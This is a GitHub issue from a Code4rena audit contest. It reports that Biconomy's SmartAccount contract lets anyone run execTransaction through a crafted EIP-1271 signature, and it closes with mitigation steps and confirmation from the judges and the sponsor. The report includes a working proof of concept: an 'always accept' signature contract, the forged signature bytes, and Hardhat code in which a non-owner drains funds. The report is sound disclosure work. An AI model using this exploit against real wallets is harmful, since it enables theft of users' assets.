Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SmartAccount execTransaction can be run by anyone due to a missing signer check when using EIP1271 signatures #62

Closed
code423n4 opened this issue Jan 6, 2023 · 3 comments
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-175 satisfactory satisfies C4 submission criteria; eligible for awards sponsor confirmed Sponsor agrees this is a problem and intends to fix it (OK to use w/ "disagree with severity")

Comments

@code423n4
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L314-L343

Vulnerability details

Impact

Anyone using the SmartAccount contract to host a 1/1 multisig may have their multisig operated by an attacker using a specially crafted signature. This would result in total loss from the SmartAccount and any contracts allowing the SmartAccount to perform privileged actions.

Proof of Concept

The issue can be reproduced using the following steps:

  1. The attacker creates a "always accept signature" contract with the following code:
contract TestContract {
	function isValidSignature(bytes memory, bytes memory) external returns (bytes4) {	
		return bytes4(0x20c13b0b);
	}
}

  1. The attacker deploys the contract and records the address (we'll call testContract.address)
  2. The attacker runs an execTransaction against the victim's SmartAccount for a transaction that transfers all the contract's native currency and coins using the following signature (represented as it would be in a Hardhat test):
"0x000000000000000000000000" + testContract.address.substring(2) + "0000000000000000000000000000000000000000000000000000000000000041000000000000000000000000000000000000000000000000000000000000000000"

This decodes to: r = uint256(testContract.address), s = uint256(65), v = uint8(0), (signature + s) -> bytes("")

  1. The transaction succeeds and the attacker has drained the victim's SmartAccount contract.

Additionally, some Hardhat code has been provided to demonstrate the issue:

    await token
      .connect(accounts[0])
      .transfer(userSCW.address, ethers.utils.parseEther("100"));

    const safeTx: SafeTransaction = buildSafeTransaction({
      to: token.address,
      data: encodeTransfer(charlie, ethers.utils.parseEther("10").toString()),
      nonce: await userSCW.getNonce(0),
    });

    const transaction: Transaction = {
      to: safeTx.to,
      value: safeTx.value,
      data: safeTx.data,
      operation: safeTx.operation,
      targetTxGas: safeTx.targetTxGas,
    };
    const refundInfo: FeeRefund = {
      baseGas: safeTx.baseGas,
      gasPrice: safeTx.gasPrice,
      tokenGasPriceFactor: safeTx.tokenGasPriceFactor,
      gasToken: safeTx.gasToken,
      refundReceiver: safeTx.refundReceiver,
    };
    const tcf = await ethers.getContractFactory("TestContract");
    let testContract = await tcf.deploy();
    let signature = "0x000000000000000000000000" + testContract.address.substring(2) + "0000000000000000000000000000000000000000000000000000000000000041000000000000000000000000000000000000000000000000000000000000000000"
   
   // check the owner is accounts[0] (sanity check)
   expect(await userSCW.owner()).to.equal(accounts[0].address);

    // Use an account other than the owner
   await expect(
      userSCW.connect(accounts[1]).execTransaction(
        transaction,
        0, // batchId
        refundInfo,
        signature
      )
    ).to.emit(userSCW, "ExecutionSuccess");

    expect(await token.balanceOf(charlie)).to.equal(
      ethers.utils.parseEther("10")
    );

Tools Used

Detection - Manual Review
Demonstration - Hardhat

Recommended Mitigation Steps

To resolve the issue, the SmartAccount contract should either:

  1. Ensure the signer (r) is enrolled for the SmartAccount by the owner as an authorized signer
  2. Remove the EIP1271 signature functionality entirely
@code423n4 code423n4 added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Jan 6, 2023
code423n4 added a commit that referenced this issue Jan 6, 2023
@c4-judge
Copy link
Contributor

gzeon-c4 marked the issue as duplicate of #175

@c4-sponsor c4-sponsor added the sponsor confirmed Sponsor agrees this is a problem and intends to fix it (OK to use w/ "disagree with severity") label Jan 26, 2023
@c4-sponsor
Copy link

livingrockrises marked the issue as sponsor confirmed

@c4-judge
Copy link
Contributor

gzeon-c4 marked the issue as satisfactory

@c4-judge c4-judge added the satisfactory satisfies C4 submission criteria; eligible for awards label Feb 10, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-175 satisfactory satisfies C4 submission criteria; eligible for awards sponsor confirmed Sponsor agrees this is a problem and intends to fix it (OK to use w/ "disagree with severity")
Projects
None yet
Development

No branches or pull requests

3 participants